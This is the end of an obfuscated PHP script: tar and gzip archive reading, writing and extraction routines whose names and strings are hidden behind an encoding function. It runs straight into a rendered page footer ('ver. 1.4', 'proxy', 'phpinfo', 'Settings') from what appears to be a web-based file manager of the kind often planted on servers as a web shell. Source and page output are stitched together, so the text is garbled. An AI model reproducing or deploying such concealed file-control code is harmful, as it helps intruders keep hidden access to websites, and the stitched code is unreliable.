$_0x5km0k[] = $_0xbsi1a._0x12usg('RquR').$_0xu3uoc; else $_0x5km0k[] = $_0xu3uoc;$result = $this->_0xs6eq4($_0x5km0k); } } unset($_0x5km0k); unset($_0xu3uoc); unset($_0xltu58); } } return $result; }function _0x9c8xb($_0xysgce){ $_0xysgce = str_replace(_0x12usg('BSxd'), _0x12usg('NmIw'), $_0xysgce); if ($_0xysgce == _0x12usg('lqJf') || (substr($_0xysgce, 0, 1) != _0x12usg('fsmH') && substr($_0xysgce, 0, 3) != _0x12usg('EgIM') && !strpos($_0xysgce, _0x12usg('EOVH')))) $_0xysgce = _0x12usg('fuEV').$_0xysgce; clearstatcache(); while (strlen($_0x4p7d0 = $this->_0x7hms5()) != 0){ if (!$this->_0xvomus($_0x4p7d0, $_0xu1dv9)) return false; if ($_0xu1dv9[_0x12usg('asiE')] == _0x12usg('SAQK')) continue; if (!(!($_0xu1dv9[_0x12usg('xvHj')] == _0x12usg('pksi')))) {//reading long header $_0xbsi1a = _0x12usg('OHNj'); $_0xpy93g = floor($_0xu1dv9[_0x12usg('lhqy')]/512); for ($_0x0hgqe = 0; $_0x0hgqe < $_0xpy93g; $_0x0hgqe++){ $_0xnh2fs = $this->_0x7hms5(); $_0xbsi1a .= $_0xnh2fs; } if (!(!(($_0x2rkxh = $_0xu1dv9[_0x12usg('SwHp')] % 512) != 0))) { $_0xnh2fs = $this->_0x7hms5(); $_0xbsi1a .= substr($_0xnh2fs, 0, $_0x2rkxh); } $_0x4p7d0 = $this->_0x7hms5(); if (!$this->_0xvomus($_0x4p7d0, $_0xu1dv9)) return false; else $_0xu1dv9[_0x12usg('vYqt')] = $_0xbsi1a; return true; } if (!(!(($_0xysgce != _0x12usg('TXVu')) && ($_0xysgce != _0x12usg('umgJ'))))) { while (substr($_0xysgce, -1) == _0x12usg('ZIEN')) $_0xysgce = substr($_0xysgce, 0, strlen($_0xysgce)-1); if (substr($_0xu1dv9[_0x12usg('XsBN')], 0, 1) == _0x12usg('XGXP')) $_0xu1dv9[_0x12usg('WXtQ')] = $_0xysgce.$_0xu1dv9[_0x12usg('HMKT')]; else $_0xu1dv9[_0x12usg('Uysy')] = $_0xysgce._0x12usg('FnCW').$_0xu1dv9[_0x12usg('CjUx')]; }if (!(!(file_exists($_0xu1dv9[_0x12usg('oGHX')])))) { if (!(!((@is_dir($_0xu1dv9[_0x12usg('dDZj')])) && ($_0xu1dv9[_0x12usg('fWqu')] == _0x12usg('Qrub'))))) { $this->errors[] =__(_0x12usg('OlfW')).$_0xu1dv9[_0x12usg('daRC')].__(_0x12usg('OqXz')).__(_0x12usg('RJpj')); return false; } if (!(!((is_file($_0xu1dv9[_0x12usg('utoN')])) && ($_0xu1dv9[_0x12usg('VIAr')] == _0x12usg('Wtsr'))))) { $this->errors[] =__(_0x12usg('vKKT'))._0x12usg('QzMN').__(_0x12usg('Hisf')).$_0xu1dv9[_0x12usg('BoJf')].__(_0x12usg('GyOK')); return false; } if (!(!(!is_writeable($_0xu1dv9[_0x12usg('KhHe')])))) { $this->errors[] = __(_0x12usg('bmDW'))._0x12usg('PZBk').__(_0x12usg('goEE')).$_0xu1dv9[_0x12usg('QNRw')].__(_0x12usg('bnLN')); return false; } } elseif (!(!(($this->_0xode6f(($_0xu1dv9[_0x12usg('nARf')] == _0x12usg('rKoJ') ? $_0xu1dv9[_0x12usg('dXjj')] : dirname($_0xu1dv9[_0x12usg('Tbxh')])))) != 1))) { $this->errors[] = __(_0x12usg('dDyL'))._0x12usg('uqxV').__(_0x12usg('Xmbb')).$_0xu1dv9[_0x12usg('Gruw')]; return false; }if (!(!($_0xu1dv9[_0x12usg('Gcqq')] == _0x12usg('OByq')))) { if (!(!(!file_exists($_0xu1dv9[_0x12usg('PjCm')])))) { if (!(!(!mkdir($_0xu1dv9[_0x12usg('uZVN')], 0777)))) {$this->errors[] = __(_0x12usg('ipdr'))._0x12usg('slhg').$_0xu1dv9[_0x12usg('csjM')]; return false; } } } else { if (!(!(($_0xdr975 = fopen($_0xu1dv9[_0x12usg('DNnG')], _0x12usg('KjOS'))) == 0))) { $this->errors[] = __(_0x12usg('ARHT'))._0x12usg('NqYp').$_0xu1dv9[_0x12usg('HVBa')]; return false; } else { $_0xpy93g = floor($_0xu1dv9[_0x12usg('Ccgd')]/512); for ($_0x0hgqe = 0; $_0x0hgqe < $_0xpy93g; $_0x0hgqe++) { $_0xnh2fs = $this->_0x7hms5(); fwrite($_0xdr975, $_0xnh2fs, 512); } if (!(!(($_0xu1dv9[_0x12usg('eLkB')] % 512) != 0))) { $_0xnh2fs = $this->_0x7hms5(); fwrite($_0xdr975, $_0xnh2fs, ($_0xu1dv9[_0x12usg('REIF')] % 512)); } fclose($_0xdr975); touch($_0xu1dv9[_0x12usg('SzWx')], $_0xu1dv9[_0x12usg('tYoP')]); } clearstatcache(); if (!(!(filesize($_0xu1dv9[_0x12usg('zxwC')]) != $_0xu1dv9[_0x12usg('CmCy')]))) { $this->errors[] = __(_0x12usg('ylEo'))._0x12usg('SzaE').$_0xu1dv9[_0x12usg('SgeK')]._0x12usg('QsOV').__(_0x12usg('poCa')); return false; } } if (($_0x1j0va = dirname($_0xu1dv9[_0x12usg('NWcH')])) == $_0xu1dv9[_0x12usg('RqGe')]) $_0x1j0va = _0x12usg('oaix'); if ((substr($_0xu1dv9[_0x12usg('UJqg')], 0, 1) == _0x12usg('bMZR')) && ($_0x1j0va == _0x12usg('iRoe'))) $_0x1j0va = _0x12usg('rzbf'); $this->dirs[] = $_0x1j0va; $this->files[] = $_0xu1dv9[_0x12usg('yjlJ')];} return true; }function _0xode6f($_0xu3uoc){ $_0xefnhd = dirname($_0xu3uoc);if ((@is_dir($_0xu3uoc)) or ($_0xu3uoc == _0x12usg('fVNw'))) return true;if (($_0xefnhd != $_0xu3uoc) and ($_0xefnhd != _0x12usg('JOJS')) and (!$this->_0xode6f($_0xefnhd))) return false;if (!(!(!mkdir($_0xu3uoc, 0777)))) { $this->errors[] = __(_0x12usg('CkdZ'))._0x12usg('CrIM').$_0xu3uoc; return false; } return true; }function _0xvomus($_0x4p7d0, &$_0xu1dv9){ if (!(!(strlen($_0x4p7d0)==0))) { $_0xu1dv9[_0x12usg('gPBo')] = _0x12usg('zydy'); return true; }if (!(!(strlen($_0x4p7d0) != 512))) { $_0xu1dv9[_0x12usg('RJZK')] = _0x12usg('uTOv'); $this->errors[] = __(_0x12usg('euAA'))._0x12usg('PZVJ').strlen($_0x4p7d0); return false; }$_0xhp7xb = 0; for ($_0x0hgqe = 0; $_0x0hgqe < 148; $_0x0hgqe++) $_0xhp7xb+=ord(substr($_0x4p7d0, $_0x0hgqe, 1)); for ($_0x0hgqe = 148; $_0x0hgqe < 156; $_0x0hgqe++) $_0xhp7xb += ord(_0x12usg('epRm')); for ($_0x0hgqe = 156; $_0x0hgqe < 512; $_0x0hgqe++) $_0xhp7xb+=ord(substr($_0x4p7d0, $_0x0hgqe, 1));$_0xmsga5 = unpack(_0x12usg('lQkE'), $_0x4p7d0);$_0xu1dv9[_0x12usg('BaYJ')] = OctDec(trim($_0xmsga5[_0x12usg('XdhT')])); if (!(!($_0xu1dv9[_0x12usg('GbjS')] != $_0xhp7xb))) { $_0xu1dv9[_0x12usg('EdrL')] = _0x12usg('Buon'); if (($_0xhp7xb == 256) && ($_0xu1dv9[_0x12usg('fBrp')] == 0)) return true; $this->errors[] = __(_0x12usg('FegB')).$_0xmsga5[_0x12usg('oIpw')]; return false; }if (($_0xu1dv9[_0x12usg('iueT')] = $_0xmsga5[_0x12usg('Eixj')]) == _0x12usg('rmiM'))$_0xu1dv9[_0x12usg('jkVK')] = 0; $_0xu1dv9[_0x12usg('VrIo')] = trim($_0xmsga5[_0x12usg('BHdX')]); $_0xu1dv9[_0x12usg('KdnE')] = OctDec(trim($_0xmsga5[_0x12usg('JqIE')])); $_0xu1dv9[_0x12usg('BvrC')] = OctDec(trim($_0xmsga5[_0x12usg('ZmAd')])); $_0xu1dv9[_0x12usg('JPxa')] = OctDec(trim($_0xmsga5[_0x12usg('TUFj')])); $_0xu1dv9[_0x12usg('qJJT')] = OctDec(trim($_0xmsga5[_0x12usg('zISR')])); $_0xu1dv9[_0x12usg('FAnU')] = OctDec(trim($_0xmsga5[_0x12usg('YYqM')])); return true; }function _0x10i7i($_0xbsi1a, $_0xae8fj){ $_0xkj0to = _0x12usg('GWLb'); $_0xaa4ox = _0x12usg('swPn'); if (strlen($_0xae8fj)<=0) $_0xae8fj = $_0xbsi1a; $_0xdeosu = $this->_0xw21nl($_0xae8fj);if (!(!(strlen($_0xdeosu) > 99))) {//write long header $_0xc4txg = pack($_0xkj0to, _0x12usg('YsJz'), 0, 0, 0, sprintf(_0x12usg('MtmL'), DecOct(strlen($_0xdeosu))), 0); $_0xf07v7 = pack($_0xaa4ox, _0x12usg('RkfN'), _0x12usg('HMKr'), _0x12usg('rYxy'), _0x12usg('XJcz'), _0x12usg('KFpp'), _0x12usg('BgUX'), _0x12usg('SDBz'), _0x12usg('NqZr'), _0x12usg('NhTs'), _0x12usg('DlST')); $_0xhp7xb = 0;for ($_0x0hgqe = 0; $_0x0hgqe < 148; $_0x0hgqe++) $_0xhp7xb += ord(substr($_0xc4txg, $_0x0hgqe, 1));for ($_0x0hgqe = 148; $_0x0hgqe < 156; $_0x0hgqe++) $_0xhp7xb += ord(_0x12usg('zltd'));for ($_0x0hgqe = 156, $_0xf3ofx=0; $_0x0hgqe < 512; $_0x0hgqe++, $_0xf3ofx++) $_0xhp7xb += ord(substr($_0xf07v7, $_0xf3ofx, 1));$this->_0xfbmsk($_0xc4txg, 148);$_0xhp7xb = sprintf(_0x12usg('gjnI'), DecOct($_0xhp7xb)); $_0x4p7d0 = pack(_0x12usg('QlxL'), $_0xhp7xb); $this->_0xfbmsk($_0x4p7d0, 8);$this->_0xfbmsk($_0xf07v7, 356);$_0xjlscv = $this->_0xw21nl($_0xdeosu);$_0x0hgqe = 0; while (($_0x38i3f = substr($_0xjlscv, (($_0x0hgqe++)*512), 512)) != _0x12usg('mHUm')){ $_0x4p7d0 = pack(_0x12usg('CMCn'), $_0x38i3f); $this->_0xfbmsk($_0x4p7d0); } return true; } $_0xncsw5 = stat($_0xbsi1a); if (!(!(@is_dir($_0xbsi1a)))) { $_0xbyocn = _0x12usg('fJGb'); $_0xvh5nb = sprintf(_0x12usg('clBg'), DecOct(0)); } else { $_0xbyocn = _0x12usg('EqzB'); clearstatcache(); $_0xvh5nb = sprintf(_0x12usg('Zbmj'), DecOct(filesize($_0xbsi1a))); } $_0xc4txg = pack($_0xkj0to, $_0xdeosu, sprintf(_0x12usg('XIms'), DecOct(fileperms($_0xbsi1a))), sprintf(_0x12usg('YKsn'), DecOct($_0xncsw5[4])), sprintf(_0x12usg('XubW'), DecOct($_0xncsw5[5])), $_0xvh5nb, sprintf(_0x12usg('uJQp'), DecOct(filemtime($_0xbsi1a)))); $_0xf07v7 = pack($_0xaa4ox, $_0xbyocn, _0x12usg('lvUy'), _0x12usg('glvM'), _0x12usg('YerU'), _0x12usg('VjCt'), _0x12usg('nzwb'), _0x12usg('yctN'), _0x12usg('Xcia'), _0x12usg('gxwO'), _0x12usg('PVTt')); $_0xhp7xb = 0; for ($_0x0hgqe = 0; $_0x0hgqe < 148; $_0x0hgqe++) $_0xhp7xb += ord(substr($_0xc4txg, $_0x0hgqe, 1)); for ($_0x0hgqe = 148; $_0x0hgqe < 156; $_0x0hgqe++) $_0xhp7xb += ord(_0x12usg('Tehp')); for ($_0x0hgqe = 156, $_0xf3ofx = 0; $_0x0hgqe < 512; $_0x0hgqe++, $_0xf3ofx++) $_0xhp7xb += ord(substr($_0xf07v7, $_0xf3ofx, 1)); $this->_0xfbmsk($_0xc4txg, 148); $_0xhp7xb = sprintf(_0x12usg('rLrc'), DecOct($_0xhp7xb)); $_0x4p7d0 = pack(_0x12usg('dSsy'), $_0xhp7xb); $this->_0xfbmsk($_0x4p7d0, 8); $this->_0xfbmsk($_0xf07v7, 356); return true; }function _0xke1bc(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, _0x12usg('BElC')); else $this->tmp_file = fopen($this->archive_name, _0x12usg('OZhb'));if (!(!(!($this->tmp_file)))) { $this->errors[] = __(_0x12usg('TXKk'))._0x12usg('eXEC').$this->archive_name; return false; } return true; }function _0x7hms5(){ if (!(!(is_resource($this->tmp_file)))) { if ($this->isGzipped) $_0xgjfor = gzread($this->tmp_file, 512); else $_0xgjfor = fread($this->tmp_file, 512); } else$_0xgjfor = _0x12usg('Icbp');return $_0xgjfor; }function _0xfbmsk($_0xxw8te, $_0x37wo4 = 0){ if (!(!(is_resource($this->tmp_file)))) {if (!(!($_0x37wo4 === 0))) { if ($this->isGzipped) gzputs($this->tmp_file, $_0xxw8te); else fputs($this->tmp_file, $_0xxw8te); } else { if ($this->isGzipped) gzputs($this->tmp_file, $_0xxw8te, $_0x37wo4); else fputs($this->tmp_file, $_0xxw8te, $_0x37wo4); } } }function _0x0768m(){ if (!(!(is_resource($this->tmp_file)))) { if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file);$this->tmp_file = 0; } }function _0xw21nl($_0xysgce){ if (!(!(strlen($_0xysgce)>0))) { $_0xysgce = str_replace(_0x12usg('YWzZ'), _0x12usg('YWOS'), $_0xysgce); $_0xxkw8i = explode(_0x12usg('rucZ'), $_0xysgce); $_0xf7tt3 = count($_0xxkw8i)-1; for ($_0x0hgqe = $_0xf7tt3; $_0x0hgqe>=0; $_0x0hgqe--){ if (!(!($_0xxkw8i[$_0x0hgqe] == _0x12usg('plgV')))) {} elseif (!(!($_0xxkw8i[$_0x0hgqe] == _0x12usg('vajl')))) { $_0x0hgqe--; } elseif (!(!(($_0xxkw8i[$_0x0hgqe] == _0x12usg('fqHj')) and ($_0x0hgqe!=$_0xf7tt3) and ($_0x0hgqe!=0)))) { } else global $result; $result = $_0xxkw8i[$_0x0hgqe].($_0x0hgqe!=$_0xf7tt3 ? _0x12usg('vXfI').$result : _0x12usg('bsAj')); } } else $result = _0x12usg('PtUp');return $result; } } ?>
| ver. 1.4 |
Github
|
.
| PHP 8.1.33 | Generation time: 0.01 |
proxy
|
phpinfo
|
Settings